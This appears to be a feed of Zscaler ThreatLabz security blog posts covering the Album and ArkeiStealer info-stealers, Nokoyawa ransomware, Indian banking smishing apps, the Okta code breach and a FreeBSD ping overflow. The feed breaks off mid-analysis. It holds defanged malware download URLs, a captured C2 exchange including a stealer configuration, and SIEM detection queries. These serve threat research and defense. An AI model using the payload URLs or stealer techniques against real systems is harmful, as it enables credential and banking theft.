Firefox browser’s cookies.sqlite file by opening the database(FF_cookies_{Datetime}) and executing an SQL query to extract the information below: host_key Name encrypted_value Expires_utc These values are saved in the variables: domain, name, value and Expires parameters, respectively. Facebook data stealing Album steals stored credentials of Facebook and cookies from the browser by searching for cookies related to Facebook. This information is used to steal information from the Facebook API graph, Facebook Ads Manager, and Facebook Business accounts pages. Album uses the graph API to obtain information related to business accounts and Ad accounts. Business account details Album steals the following information related to Facebook Business accounts: id name created_time permitted_roles is_disabled_for_integrity_reasons sharing_eligibility_status verification_status extended credits billed_amount_details billing_period Cookies The screenshots below in Figure 17 and Figure 18 show the code to steal this data and the respective parameter names. Fig 17: Album Stealer harvesting business account data from Facebook pages Fig 18: Album business account data parameters Ad account details Album Stealer harvests the following information related to Ad accounts associated with a victim’s Facebook accounts: account id Account_status amount_details currency Total_amount Network Communication Album Stealer sends all data to the command and control server individually for different browsers. Figure 19 shows Album sending credentials and cookies information for the Google Chrome browser with the following HTTP query parameters: Keyid = versionid (based on system information) &ran = Unique ID attached in sample Fig 19:Send stolen data to command & control server Album Stealer will also send Facebook related data of victim’s profiles. After all data is sent, Album Stealer terminates itself. An observed response from the C&C was “{"status":0,"msg":"Đã xảy ra lỗi"}”. The msg parameter is in the Vietnamese language that translates to “Error! An error occurred. Please try again later”. Conclusion Threat actors are targeting Facebook users to download a malicious archive file that contains adult images as a decoy, while deploying a new information stealer that ThreatLabz has named Album. Album Stealer may bypass security products by leveraging legitimate applications that are vulnerable to DLL side loading. The Zscaler ThreatLabz team continues to monitor this campaign and protect users. Zscaler's multilayered cloud security platform detects indicators, as shown below: Win32.PWS.Album Indicators of Compromise (IOCs) Indicators Description d09be7c2784e05c615c3f1414a9b534d Zip file A844D8580BA205BCBB5F72DE6DC60352 1F79BB67A22EEDC2E5BAC2037A07710A 2131FFBB5613CC2F40D7394A2ECB71D7 B49CC8837C6D418B133BF4F0D455098D Clean file used for sideloading the malicious DLL. 5E0C580C5D84780D56C069D8F74F67AA EBDDEEB9823DDCC6FA8201431601B0BF 33F4C955FC38DD3A313E4A451345CAB9 11AD0039556FB04D4BA07DC89D9ABE3D 4A4D0728D0C1E3E06A90F26655FF58F3 435769AD9BE3B7C64A0089D833FC8E5E D7E1B8C5FACE37FD8B01EEE9974A0A7E Malicious DLL file 267cfa3c3c9cbff218bbd4ec098e4ab9 Dat file with images cdn.ubutun[.]xyz rebrandtop[.]top findalbum[.]top shopalbum[.]xyz neuka[.]top Keeptosafe[.]top Ponamei[.]top Foundaz[.]xyz microtobig[.]xyz CnC Fri, 20 1月 2023 08:11:04 -0800 Rajdeepsinh Dodia Okta Source Code Breach: How to Evaluate the Impact & Protect your Organization What happened in the Okta source code breach? Okta, a leading provider of authentication services and Identity and Access Management (IAM) solutions, confirmed that its private GitHub repositories were hacked this month. According to an email notification reported by BleepingComputer, and later confirmed by Okta security post, the incident involves threat actors stealing Okta's source code. The leaked Okta source code pertains to the Workforce Identity Cloud repository and does not pertain to any Auth0 (Customer Identity Cloud) products. Zscaler’s cloud is not at risk After a thorough investigation, ThreatLabz determined that Zscaler has not been impacted by the Okta breach. While Zscaler does use Okta internally for employees as an Identity Provider (IDP), all access to our production environments requires multiple additional factors including hardware tokens not provided by Okta. You can read our security trust post here. Source Code Repository Security Source code repositories should undergo periodic and systematic security assessments to ensure the confidentiality and integrity of the codebase. Developer and administrator access control audits, server and platform patching, and configuration reviews should be periodically performed to ensure that repositories are secure and that data is not lost or compromised. Assumed-breach scenarios and red team exercises should be leveraged against your code repositories to assess the impact of a successful external attack. The feedback from such activities should be used to strengthen security posture, inform incident response capabilities, and prepare for real-life incidents such as one reported by Okta. Consider the following with respect to securing your code repositories from compromise: Ensure that your source control software is up to date with the latest security patches. Leverage strict Role Based Access Control (RBAC) and MFA for your internal repositories, with access limited to authorized users with full audit trail. Protect access to the code in repositories using tokens or keys. Frequently rotate these keys, and revoke them when they are no longer needed. Perform routine scans on repositories to ensure that there are no secrets in code. This reduces the likelihood of further security impact after an initial compromise of the environment. ThreatLabz’ SOC playbook for Okta and Code Repositories We are sharing our SOC playbook that organizations can leverage to perform assessment and response activities for this type of breach. The Zscaler Security team has developed Security Operations Center (SOC) playbooks for identity (IDP) providers and Code Repositories such as GitHub. This playbook provides security analysts and researchers fast track access to threat identification and remediation at the user level. Suspicious behaviors trigger a security action workflow: for example, moving a user to a higher-access security group, changing multi-factor authentication methods, unauthorized access to our code repositories or other anomalous and potentially dangerous user behaviors. A review of identity provider logs for indicators of compromise associated with this attack should include the following steps: Review Okta admin/super admin account audit logs. Review cloud admin/super admin account audit logs. Review all executive accounts including MFA method changes. Review new Okta account creations and compare against employee onboarding. Review full Okta config to check for API access, logging configs, etc. Identify Okta accounts where MFA was disabled. Identify the user and root cause of the disablement. Re-enable MFA for those accounts. Reset password for Okta admins. Reset 2-factor authentication for Okta superadmins. Rotate Okta-generated API tokens. Verify Okta Support access is disabled. Verify Directory Debugger access is disabled. Review all critical users' access levels. Security Operations Center (SOC) Detection Rules for Okta and Github The process to enable Threat Detection for Identity Provider (IDP) like Okta using a SOC Playbook should be well-defined with specific workflows and actions. Okta has pre-built log ingestion modules for many of the common SIEM solutions. Once events are ingested, a number of queries can be created and easily leveraged for signs of a potential compromise or other suspicious activities. While they are not a comprehensive set of queries, they serve as a solid starting point for a security investigation. Detection Name Detection Query MFA Deactivation Attempt event.dataset:okta.system and event.action:user.mfa.factor.deactivate MFA Reset Attempt event.dataset:okta.system and event.action:user.mfa.factor.reset_all MFA Push Brute Force Attempt sequence by with maxspan=10m [any where event.module == "okta" and event.action == "user.mfa.okta_verify.deny_push"] [any where event.module == "okta" and event.action == "user.mfa.okta_verify.deny_push"] [any where event.module == "okta" and event.action == "user.authentication.sso"] MFA Bypass Attempt event.dataset:okta.system and event.action:user.mfa.attempt_bypass Account Login Brute Force Attempt event.dataset:okta.system and event.action:user.account.lock User Session Impersonation event.dataset:okta.system and event.action:user.session.impersonation.initiate Group Administrative Privilege Assignment event.dataset:okta.system and event.action:group.privilege.grant User Administrative Privilege Assignment event.dataset:okta.system and event.action:user.account.privilege.grant Policy Rule Modification event.dataset:okta.system and event.action:policy.rule.update Policy Rule Deletion event.dataset:okta.system and event.action:policy.rule.delete Policy Rule Deactivation event.dataset:okta.system and event.action:policy.rule.deactivate Similarly, you may want to monitor your Github logs for suspicious activity to ensure that a similar breach does not happen to your organization. Here are some suggested queries. Please refer to relevant MITRE ATT&CK TTPs for your code repositories. Detection Name Detection Query Enterprise Owner added business.add_admin SAML SSO Disabled business.disable_saml 2FA Disabled business.disable_two_factor_requirement Enterprise Admin Invited business.invite_admin Github Connect Created dotcom_connection.create Anonymous Git Access Enabled enterprise.config.enable_anonymous_git_access Git Push to Repo git.push Git Clone to Repo git.clone Migration Created migration.create Secret Keys Created oauth_application.generate_client_secret Forking to Private Repo Enabled private_repository_forking.enable User Public Key Created public_key.create Pull Request pull_request.create Repo Downloaded as Zip repo.download_zip Integration Created integration.create Guidance and Best Practices Following are some of the recommendations to enhance your security posture against similar scenarios involving your Identity Provider (IDP) and Source code repositories to protect your organization: Ensure MFA is enabled for all users. Consider MFA methods not facilitated by your primary Identity Provider (IDP) for critical systems including hardware-based tokens. Continuously monitor your Source Code Repositories such as Github logs for suspicious activity. Granular Role Based Access Control (RBAC) for your Source Code Repositories, Build Systems and Crown-Jewels to ensure only authorized users have access to the systems. Continually review policies and procedures with any organization involved in your supply chain. Many organizations could be potentially impacted by this type of incident. Run security incident preparedness exercises for incidents just like this (a primary Identity Provider compromise, or an internal codebase compromise) to understand how to respond and what to communicate to whom and when. How can Zscaler protect organizations against this kind of attack? The Zscaler platform is built on a holistic zero trust architecture that offers defense-in-depth against supply chain and compromised user attacks, mitigating incidents such as this in the following ways: Minimize the attack surface by making internal apps invisible to the internet. Prevent compromise by using cloud native proxy architecture to inspect all traffic inline and at scale, enforcing consistent security policies. This is critical in blocking the prevalent Adversary-in-The-Middle (AiTM) phishing campaign that is actively targeting organization’s Github credentials with ability to bypass MFA. Stop lateral movement by connecting users directly to applications (rather than the network) to reduce the attack surface, and contain threats by using deception and workload segmentation. Stop data loss by inspecting data-at-rest (SaaS) and all internet-bound traffic, including encrypted channels, to prevent data theft including code repositories. About ThreatLabz ThreatLabz is the security research arm of Zscaler. This world-class team is responsible for hunting new threats and ensuring that the thousands of organizations using the global Zscaler platform are always protected. In addition to malware research and behavioral analysis, team members are involved in the research and development of new prototype modules for advanced threat protection on the Zscaler platform, and regularly conduct internal security audits to ensure that Zscaler products and infrastructure meet security compliance standards. ThreatLabz regularly publishes in-depth analyses of new and emerging threats on its portal, Wed, 21 12月 2022 17:56:53 -0800 Deepen Desai Nokoyawa Ransomware: Rust or Bust Key Points Nokoyawa is a 64-bit Windows-based ransomware family that emerged in February 2022 The threat group behind Nokoyawa performs double extortion ransomware attacks: exfiltrating sensitive information from organizations, followed by file encryption and a ransom payment demand Nokoyawa was initially written in the C programming language using Elliptic Curve Cryptography (ECC) with SECT233R1 and Salsa20 for file encryption In September 2022, Nokoyawa was rewritten in the Rust programming language using ECC with the Curve25519 and Salsa20 for file encryption The Rust-based Nokoyama ransomware 2.0 provides threat actors with runtime flexibility via a configuration parameter that is passed via the command-line Nokoyawa ransomware was discovered in February 2022, sharing code with another ransomware family known as Karma. Nokoyawa ransomware’s lineage can further be traced back to Nemty ransomware. The original version of Nokoyawa ransomware was written in the C programming language and file encryption utilized asymmetric Elliptic Curve Cryptography (ECC) with Curve SECT233R1 (a.k.a. NIST B-233) using the Tiny-ECDH open source library combined with a per file Salsa20 symmetric key. Nokoyawa ransomware 2.0 still uses Salsa20 for symmetric encryption, but the elliptic curve was replaced with Curve25519. Nokoyawa 2.0 was developed using the Rust programming language and appears to have been created in late September 2022. Nokoyawa is not the first ransomware family to be rewritten in Rust. Previously, the developers of the ransomware families Hive and Agenda/Qilin ported their code from the Go (a.k.a. Golang) programming language to Rust. In addition, the author of RansomExx converted the ransomware code from C++ to Rust. Another ransomware family compiled in Rust is BlackCat/ALPHV. The increase in the popularity of the Rust programming language may be due to its emphasis on performance and concurrency, which can make a ransomware’s file encryption more efficient. Similar to the previous version of Nokoyawa, the Rust variant is compiled only for 64-bit versions of Windows. This blog provides a technical analysis of Nokoyawa 2.0 including its new configuration, encryption algorithms, and data leak site. Technical Analysis Nokoyawa 2.0 cannot be executed without providing the required command-line arguments. When run without arguments, Nokoyawa will print the following help message shown in Figure 1. Figure 1. Nokoyawa 2.0 ransomware command-line help The command-line arguments --file (to encrypt a single file) and --dir (to encrypt a directory) are identical to the previous version of Nokoyawa. However, Nokoyawa 2.0 requires a configuration file to execute the ransomware via the --config command-line argument. The configuration parameter is a Base64 encoded JSON object that has the following keys and values shown in Table 1. Key Value Format Description NOTE_NAME <filename> (will be appended with .txt) Ransom note filename NOTE_CONTENT Base64 encoded text Ransom note content EXTENSION <8 characters> (without a period) Encrypted file extension (also used as the Salsa20 nonce) ECC_PUBLIC Base64 encoded binary data Curve25519 public key SKIP_EXTS JSON array File extensions that will not be encrypted SKIP_DIRS JSON array Directories that will not be encrypted Table 1. Nokoyawa 2.0 configuration parameters The decision by the Nokoyawa malware author to pass a full configuration file via the command-line is a unique design choice. This is indicative that the malware author has developed the ransomware to be flexible for mulitiple threat actors who are likely paid as affiliates to compromise organizations and deploy the ransomware in return for a percentage of the profit. Encryption Algorithms Nokoyawa 2.0 uses Curve25519 (via the open source x25519_dalek Rust library) for asymmetric encryption and Salsa20 for symmetric encryption. Nokoyawa first generates an ephemeral Curve25519 key pair. The ephemeral private key is used to generate a shared secret using a Diffie-Hellman key exchange with the Curve25519 public key that was passed via the config command-line parameter. The result is used as a Salsa20 key and the file extension is used as the nonce, which must be 8 bytes (as described in Table 1). Figure 2 shows an example file encrypted by Nokoyawa 2.0. Figure 2. Nokayawa 2.0 encrypted file content and footer As shown in Figure 2, the 32-byte ephemeral public key (blue) and the 8-byte nonce (red) are appended as a 40-byte footer at the end of the encrypted file. Similar to most ransomware families, Nokoyawa encrypts the file in chunks based on the file's size. If the file's size is less than or equal to 0x80000 (524,288) bytes, the full file will be encrypted. Otherwise the code implements an algorithm that determines the number of blocks and the block offsets to encrypt in the file. Each block will be encrypted in chunks of 0x80000 bytes (yellow) followed by blocks of unencrypted bytes (green) as highlighted in Figure 2. Since Nokoyawa only partially encrypts files larger than 0x80000 bytes, encryption is very fast. ThreatLabz has developed a proof-of-concept tool to decrypt files encrypted by Nokoyawa 2.0 if the Curve25519 private key is accessible. This decryption tool is available in our GitHub tools repository here. Ransom Note As previously mentioned in Table 1, the Nokyawa ransomware note filename and content is passed via the configuration command-line parameter. An example Nokoyawa ransom note is shown in Figure 3. Figure 3. Nokoyawa ransom note Ransom portal Nokoyawa ransom notes contain a link to a TOR hidden service as shown in Figure 4. Figure 4. Nokoyawa ransom chat portal The same TOR hidden service also hosts a data leak site. Currently, only one victim is listed on the site as shown in Figure 5. This may suggest that Nokoyawa is not currently compromising a large number of organizations, or the threat actors may only perform double extortion for a subset of victims. Figure 5. Nokoyawa leak site Conclusion The Nokoyawa threat actor continues to update the ransomware and launch new attacks. The development of Nokoyawa 2.0 using the Rust programming language is likely designed to improve file encryption speed and to better evade antivirus and EDR products. The group has long claimed to perform double extortion attacks without offering much proof, until now. Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to Nokoyawa at various levels with the following threat names: Win64.Ransom.NOKOYAWA Indicators of Compromise SHA256 Description 7095beafff5837070a89407c1bf3c6acf8221ed786e0697f6c578d4c3de0efd6 Nokoyawa ransomware Rust sample 47c00ac29bbaee921496ef957adaf5f8b031121ef0607937b003b6ab2a895a12 Nokoyawa ransomware Rust sample 259f9ec10642442667a40bf78f03af2fc6d653443cce7062636eb750331657c4 Nokoyawa ransomware Rust sample Tue, 20 12月 2022 07:19:41 -0800 Brett Stone-Gross Security Advisory for FreeBSD Ping Stack-Based Overflow CVE-2022-23093 Background On Dec 01, 2022, a stack overflow vulnerability CVE-2022-23093 was found in the FreeBSD operating system (all supported versions) ping utility. The issue is a buffer overflow vulnerability affecting the “pr_pack()” function in ping(8). The flaw can be leveraged to cause a stack overflow, which could lead to a crash or trigger remote code execution in ping. What is the issue? The following vulnerability details were published in the FreeBSD security advisory Ping reads raw IP packets from the network to process responses in the pr_pack() function. As part of processing a response ping has to reconstruct the IP header, the ICMP header and if present a "quoted packet," which represents the packet that generated an ICMP error. The quoted packet again has an IP header and an ICMP header. The pr_pack() copies received IP and ICMP headers into stack buffers for further processing. In so doing, it fails to take into account the possible presence of IP option headers following the IP header in either the response or the quoted packet. When IP options are present, pr_pack() overflows the destination buffer by up to 40 bytes. What versions are impacted? This vulnerability impacts all currently supported versions of FreeBSD. What can you do to protect yourself? If you are a FreeBSD customer, we encourage you to take the following steps at the earliest: Check to see if your current version is vulnerable. Update to the most recent patched version available In cases where upgrade is unfeasible or not possible, backporting the patch to your current version may be possible, and other mitigating measures can be put in place such as blocking ICMP packets with IP Options via stateful firewalls, restricting ping usage on vulnerable hosts to protected accounts, and implementing a holistic security posture with defense in depth to detect and respond to abnormal activity on hosts. Zscaler’s cloud is not at risk After a thorough investigation, ThreatLabz determined that Zscaler platform service components have not been impacted by this vulnerability. You can read the ThreatLabz trust post here. Additionally, the Zscaler platform is built on a holistic zero trust architecture that offers defense-in-depth against supply chain and compromised user attacks, mitigating incidents such as this in the following ways: Eliminates lateral movement: Zscaler connects users directly to apps, not the network, to limit the blast radius of a potential incident. Shuts down compromised users and insider threats: If an attacker gains access to your identity system, we can prevent private app exploit attempts with in-line inspection and detect the most sophisticated attackers with integrated deception. Stops data loss: Zscaler inspects data-in-motion and data-at-rest to prevent potential data theft from an active attacker. Vulnerability Details The ping utility invoked with an IPv4 target (IPv4-host or IPv4-mcast-group) uses the ICMP protocol’s mandatory ECHO_REQUEST data gram to elicit an ICMP ECHO_RESPONSE from a host or gateway. ECHO_REQUEST datagrams (“pings”) have an IP and ICMP header, followed by a “struct timeval” and then an arbitrary number of “pad” bytes used to fill out the packet. “ping reads raw IP packets from the network to process responses in the pr_pack() function. As part of processing a response ping has to reconstruct the IP header, the ICMP header and if present a “quoted packet,” which represents the packet that generated an ICMP error. The quoted packet again has an IP header and an ICMP header”, the FreeBSD Project wrote in a security advisory. “The pr_pack() copies received IP and ICMP headers into stack buffers for further processing. In so doing, it fails to take into account the possible presence of IP option headers following the IP header in either the response or the quoted packet. When IP options are present, pr_pack() overflows the destination buffer by up to 40 bytes.” Technical Analysis The ping utility runs in userspace. When a user runs the ping command, it invokes the binary at /sbin/ping. The code is available on the FreeBSD source. The vulnerable function, pr_pack() prints out the ICMP packet response information to stdout, similar to the familiar string: 64 bytes from icmp_seq=1 ttl=57 time=86.4 ms On the network, the ICMP packet (both request and response) looks like this: The headers in the diagram above are the IP headers, with an optional Options field. In an attack case, these IP Options are enabled and filled with non-null bytes. In some cases, for example, if an ICMP packet is malformed or deliberately modified en route to the destination host, and the IP Options are enabled in the original echo request, the vulnerable pr_pack() fails to allocate enough space on the stack to account for the presence of IP Options, instead overflowing the stack. In these error cases, the response from the destination host may also include a "quoted packet" in the data section (which tracks which packet specifically caused the ICMP error), and the pr_pack() function similarly overflows the stack in the case that the quoted packet has ICMP headers. The buffer overflow occurs in line 1156 and line 1161 in the pr_pack() function (defined in ping.c) here: The value of hlen is calculated without checking for the IP options header, assuming the standard IP packet header length of 20 bytes. The memcpy into the icp struct leads to the buffer overflow. References Fri, 09 12月 2022 17:19:05 -0800 Jithin Nair SMS scams trick Indian banking customers into installing malicious apps Zscaler ThreatLabz researchers recently observed the rise of a sophisticated phishing campaign spreading via fake banking sites targeting big Indian banks like HDFC, AXIS, and SBI. The team will continue monitoring the emerging situation and will provide an update on any significant new developments. Previously, ThreatLabz researchers observed Indian banking customers being targeted with fake complaint forms from phishing sites spreading short message service (SMS) mobile text stealer malware. In contrast, this new campaign leverages fake card update sites to spread Android-based phishing malware aimed at collecting banking information for financial fraud. Campaign 1: Targeting HDFC and Axis banks ThreatLabz researchers observed domains serving links for fake banking application downloads as shown in Fig.1 and Fig.2 below. Fig.1 - Imitation application phishing site targeting HDFC bank customers Fig.2 - Imitation application phishing site targeting Axis bank customers The two screenshots above show how these phishing scammers impersonate banking sites to gain customers' sensitive information by incentivizing them to fill out fake applications to redeem their earned card points for cash or a voucher. In most cases, these sites are being spread through SMS text messages to victims. Once a user clicks on the contained link, the victim is prompted to install an Android-based phishing malware, designed to steal critical financial data. Fig.3 - Phishing page for HDFC bank credit card application Upon opening the app, the user will see the fake page as presented in Fig 3 prompting them to enter sensitive information including card number, expiration date, cardholder name, phone number, DOB, etc., to redeem points for cash or vouchers, shown in the screenshot above. Once the victim submits their sensitive information into the fake form, the malware sends a copy to the command-and-control server (C2) shown in the screenshot below. ​​​​​​ Fig.4 - In-App phishing page creation and C2 On the second run or completion of the prompted tasks, a timer screen is displayed to the user, revealed in the code shown in Fig 5 below. Fig.5 - Final page shown to user as second snap in Fig.3 Upon receiving all the victim’s sensitive form-fill information including card details, the threat actor is now capable of initiating fraudulent financial transactions. All they require to carry out the attack is a one-time password (OTP). To collect the OTP, victims are further prompted to provide SMS permission access to the malicious app at the time of installation. Once the user provides this access to SMS permissions, the malware is capable of exfiltrating received SMS text messages containing the OTP codes they need. To complete a transaction initiated using the user's card details, the application will intercept the OTP codes and forward them to the C2 server. Fig.6 - Writing phishing data in shared preferences and MFA extraction This malware also employs a cloaking technique that prevents it from running a second time. It writes data in the modifiable shared preferences settings using first-time install data written in the “time” object as its reference point to block users from seeing the card phishing page again. Fig.7 - Cloaking to not load phishing page after running the first time Campaign 2: targeting SBI bank customers with KYC verification scam In other campaigns, ThreatLabz researchers observed adversaries sending SMS text messages prompting users to immediately update the ‘Know Your Customer’ (KYC) identity verification banking requirement or conduct another similarly urgent action, to avoid account blocking or lockout. This false sense of urgency created by adversaries is very effective at convincing victims to perform the requested action including downloading apps to perform the task. In the cases observed in this article, all of these requests were fake and the attacks infected users with malicious apps and stole personal banking information. The screenshot below shows an attack in which the user is prompted to download a malicious app to unlock their account. Fig.8 - Smishing campaigns Unlike campaign 1 where applications were seen using in-app fake log in pages, in this campaign SBI bank KYC verification scam, applications rely on command servers to render the phishing pages. ThreatLabz researchers think that this is how the malware authors are able to create new campaigns so quickly, since only a few changes, such as updating C2 destinations, are required to spin up a new campaign. The application starts by prompting users to log in to a fake SBI bank web page and then update the KYC verification, shown in Fig.9 below. Fig.9 - Fake Login page redirect hosted on firebase Users are navigated through a series of web pages hosted on firebase upon entering banking credentials, mobile numbers, etc., shown in Fig.10. Fig.10 - Login data phishing used to steal banking credentials The user is prompted to enter an OTP during each fake update step to make the application appear legitimate, as shown in Fig 11 below, this tactic can also be used to steal the OTP and gain access. Fig.11 - Prompting users for OTP The user is directed to a page and prompted to provide banking information, shown in Fig 12 below. Along with the bank details, the user is prompted to enter their Permanent Account Number (PAN). Fig.12 - Application prompts user to provide sensitive banking information Apart from collecting OTPs through phishing pages, malware developers have also implemented code routines to harvest OTPs from incoming SMS text messages and send them to a secondary C2 as well as a hard-coded phone number, as shown below. Fig.13 - Code to send incoming SMS data to C2 Fig.14 - Testing of SMS data exfiltration to a static number Fig.15 - Traffic showing data upload to a remote server Zscaler sandbox is able to detect malware threat behavior and techniques. Fig 15. Zscaler sandbox report showing detection of malicious applications Zscaler advises users to not install any unknown applications sent through SMS text messages, especially if the messages identify with a financial institution or bank, this is a common practice used by threat actors to impose a false sense of urgency on users to act immediately without additional scrutiny. Indicators of Compromise (IOC) Campaign 1 IOCs Domains: hxxps[://]updateyourcard[.]in/HDFC_Credit_Card[.]apk hxxps[://]cardupdatation[.]in/ hxxps[://]cardupdate[.]in/ hxxp[://]pointincash[.]xyz/hdfc_version1.0[.]9[.]1[.]apk MD5s: df0b9265d07ffe523884f98613db8401 47eebf0d4ab713d53ec9f3b992777c18 a57c255e5e69d843a1c402df96ced959 ce8e95ef802d9943c2ff7abea1aa94da Campaign 2 IOCs Domains: hxxps[://]sheltered-dawn-11337[.]herokuapp[.]com/SBI-KYC[.]apk hxxps[://]sbi-kyc-update-immediately[.]web[.]app/SBI-KYC[.]apk hxxps[://]sbi-users-kyc-1[.]web[.]app/SBI-KYC[.]apk hxxps[://]sbi-user-kyc-app[.]web[.]app/SBI-KYC[.]apk hxxps[://]kyc-update-app[.]web[.]app/SBI-KYC[.]apk hxxps[://]sbi-kyc-apps-v-23[.]web[.]app/SBI-KYC[.]apk hxxps[://]point-dekho[.]xyz/save_sms[.]php hxxps[://]sbi-kyc-app[.]web[.]app/sbi-kyc[.]apk hxxps[://]sbi-kyc-points[.]web[.]app/sbi-kyc[.]apk hxxps[://]sbi-kyc-points[.]firebaseapp[.]com/sbi-kyc[.]apk hxxps[://]sbi-kyc-update-immediately[.]firebaseapp[.]com/sbi-kyc[.]apk hxxps[://]applicationkyc[.]pages[.]dev/SBI-KYC[.]apk hxxps[://]calm-fjord-69600[.]herokuapp[.]com/SBI-KYC[.]apk hxxps[://]calm-garden-42338[.]herokuapp[.]com/SBI-KYC[.]apk hxxps[://]please-visitnow-immediately[.]com/SBI-KYC[.]apk hxxps[://]publicationofindia[.]top/SBI-KYC[.]apk MD5s: 0076369748034430dd9345fecd0d130a f8509e2b72b3ba5916d80888b990b285 f0b6619e42722673e6599471a048edb1 436370a26633fb3a86f2ae2f09bcdb18 1aa0baa0c2fa54a89ecbfe71225726c6 331a9054e877a7210789315f7bcd2620 Thu, 08 12月 2022 08:30:01 -0800 Himanshu Sharma Trade with caution - bad guys are stealing Threats continue to evolve in their complexity and scale as cyber criminals regularly come up with new ideas and find ways to target their victims. Modern information stealer families such as RedLine, RecordBreaker, ArkeiStealer, Vidar, Satacom, BatLoader are often sold through Malware-as-a-Service (MaaS) models and they continuously update with their varying initial attack vectors. ThreatLabz discovered that threat actors are now distributing ArkeiStealer through Windows Installer binaries which masquerade as a trading application. The trading application is backdoored with the SmokeLoader downloader which further downloads an information stealer. In May 2021 in a similar campaign, ThreatLabz identified a fake TradingView website and backdoored TradingView application associated with the MineBridge RAT campaign [1]. Key Points ThreatLabz was able to flag malicious activity to an IP address based on C2 beaconing characteristics and a low domain and ASN reputation. It also discovered a recently registered domain spoofing the official TradingView website It was able to identify that the actual malware was embedded inside TradingView Desktop Application The actual malware and the C2 IP address flagged were identified as SmokeLoader and ArkeiStealer Technical Analysis ThreatLabz identified C2 beaconing events connected to an IP address, and the team started the threat hunting process. Following characteristics were essential in identifying and flagging the C2 beaconing activities: Frequent C2 beaconing Low domain reputation Newly Registered Domain The process started with the Indicator of Attack (IoA) being flagged and the rest of the process revolved around identifying the TTP of the threat campaign. The IP address “” was flagged as an Indicator of Attack. The ThreatLabz Threat Intel team immediately validated the IP address as a SmokeLoader C2, as shown below in the following malware configuration in Figure 1. Figure 1: SmokeLoader Malware Configuration During the threat hunting process, the ThreatLabz team analyzed network transactions in a time window around the trigger point to identify the end-to-end attack flow as shown in Figure 2. Figure 2: Complete end-to-end attack chain, used to deliver SmokeLoader and ArkeiStealer While reconstructing the end-to-end attack chain, our team has identified 3 TradingView Desktop App download attempts from the following URL: Further analysis revealed the victim searching for the TradingView Desktop Application on the DuckDuckGo search engine, as shown below in Figure 3. Figure 3: TradingView search results with SEO poisoned results On October 6th, 2022, the threat actors registered the domain "tradingview[.]business", a look-alike of the legitimate website "tradingview[.]com". At first glance, “tradingview[.]business” looks almost identical to the legitimate website. While the real website allows users to download clients for Windows, macOS and Linux platforms, the fake website only offers a Windows application. The download link for the malicious TradingView Desktop Windows application was placed on the homepage as shown in Figure 4. Figure 4: Legitimate vs. Fake TradingView website The official and latest version of the TradingView Desktop Application was launched on October 25 2022. The malicious website, however, was registered prior to this on October 6 2022 in anticipation of the release; and the malicious TradingView Desktop Application was launched on October 31, 2022, shortly after the official release. This indicates that the threat actors are diligent in identifying and preparing for such opportunities ahead of time. In addition, they are extremely quick in developing and deploying the attack. Comparing Whois data for both websites, we quickly validated the malicious intent of the fake website. While the original website’s Whois record is legitimate, the fake website redacts most of its registration details as shown in Figure 5. Figure 5: WHOIS records for the legitimate and fake TradingView domain The download link (hxxps://tradingview[.]business/download.php) on the attacker-controlled domain leads to the download of a malicious Windows Installer from the following URL: sxvlww[.]am[.]files[.]1drv[.]com/y4mqgbxmxiwuw8zm66u0rrrpceovu5hvhzmpooyrgnaaafadcqoiy-b3zjggi68kx_kt1c99vy4av6z5hznc6gumfg9hrnozccxmfiifzy6qf0rsqexsduxn06mtqzcccwb_iek8lvhu0wi-zupdr4sjpfack_tipf0psgzy5qw6ryzjdc8ny-zclsu716jxa7l1sss6r2jhl7lcdijpcktaq/ Note: We noticed that the download URL responds with the malicious Windows Installer only if the user-agent string in the HTTP request headers corresponds to the Windows 10 operating system. Otherwise, it responds with HTTP 404 error. Performing technical analysis, we inspected the malicious TradingView Windows Desktop Application with the following information: Name: TradingVlev_x32_x64bit.exe MD5: 467d42eca35c0571c30d3f20700d9dff SHA1: e26512838e6ffb8af84743ae37821694cd380003 SHA256: 9abdfcea109db4763065fee6d3e87299f03f57dba0307c67ad10cd86f0f2acf3 The installer is an executable which masquerades as the TradingView Desktop Windows application and is digitally signed by AVG Technologies USA, LLC. The thumbprint of the digital signature is the following: ThumbPrint: 63fb7fe4f171bd6dde774ae9365d91ac132616af CN = AVG Technologies USA, LLC OU = RE stapler cistodc O = AVG Technologies USA, LLC L = Newton S = North Carolina C = US Here, we compare the legitimate and fake TradingView Desktop application signatures. Figure 6: Legitimate vs. Fake TradingView Desktop applications Upon execution, this installer shows a Graphical User Interface (GUI) which spoofs the TradingView application while it performs malicious activities in the background. It drops a SmokeLoader DLL named “Scintilla.DLL” in the same folder as the TradingView installation folder. The SmokeLoader DLL then creates a copy of itself with the name “bot.exe” on the user’s desktop. SmokeLoader then immediately starts beaconing out to its C2 at the IP address “” and receives a few download tasks, as shown below: 212[.]8[.]246[.]70/builds/still[.]exe - 16857afad0b6c40469e5d9d9b63a2927 212[.]8[.]246[.]70/builds/still[.]exe - 55552ed60bddd332eee8a23f0494174f 212[.]8[.]246[.]70/builds/installer[.]exe - 4d7f538bf21bf0c42fee87d28d3f3079 212[.]8[.]246[.]70/build/bot[.]exe - 0743250f8bb1a0baa01affcfd963d171 ZScaler ThreatLabz has identified all 4 payloads as ArkeiStealer. ArkeiStealer is an information stealer malware family that was first identified in May 2018. ArkeiStealer is a stealthy and flexible information stealer that is known to harvest confidential data from web browsers, cryptocurrency wallets, and search files for attacker-defined patterns. ArkeiStealer was later forked to create a new variant named Vidar Stealer. This ArkeiStealer payload first obtains its configuration file from the C2 as shown below: GET /1769 HTTP/1.1 Host: HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Nov 2022 15:21:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive 1,1,0,1,0,30e8151b350f29168e37e1eea06ed1b4,1,1,1,0,0,Default;%DOCUMENTS%\;*.txt;50;4;movies:music:mp3:exe;DESKTOP;%DESKTOP%\;*.txt;50;4;movies:music:mp3:exe; The ArkeiStealer configuration carries multiple flags. It performs distinct malicious activities depending on the flags that are set in the configuration. The usage of a dynamic configuration provides flexibility to extend the malware’s capabilities at any stage of the campaign. As shown below, ArkeiStealer immediately begins downloading well-known and legitimate DLLs in a ZIP bundle that are required to fully execute its tasks. GET / HTTP/1.1 Host: Cache-Control: no-cache HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Nov 2022 15:21:14 GMT Content-Type: application/zip Content-Length: 2685679 Last-Modified: Mon, 12 Sep 2022 13:14:59 GMT Connection: keep-alive ETag: "631f30d3-28faef" Accept-Ranges: bytes These DLLs are typically used by ArkeiStealer 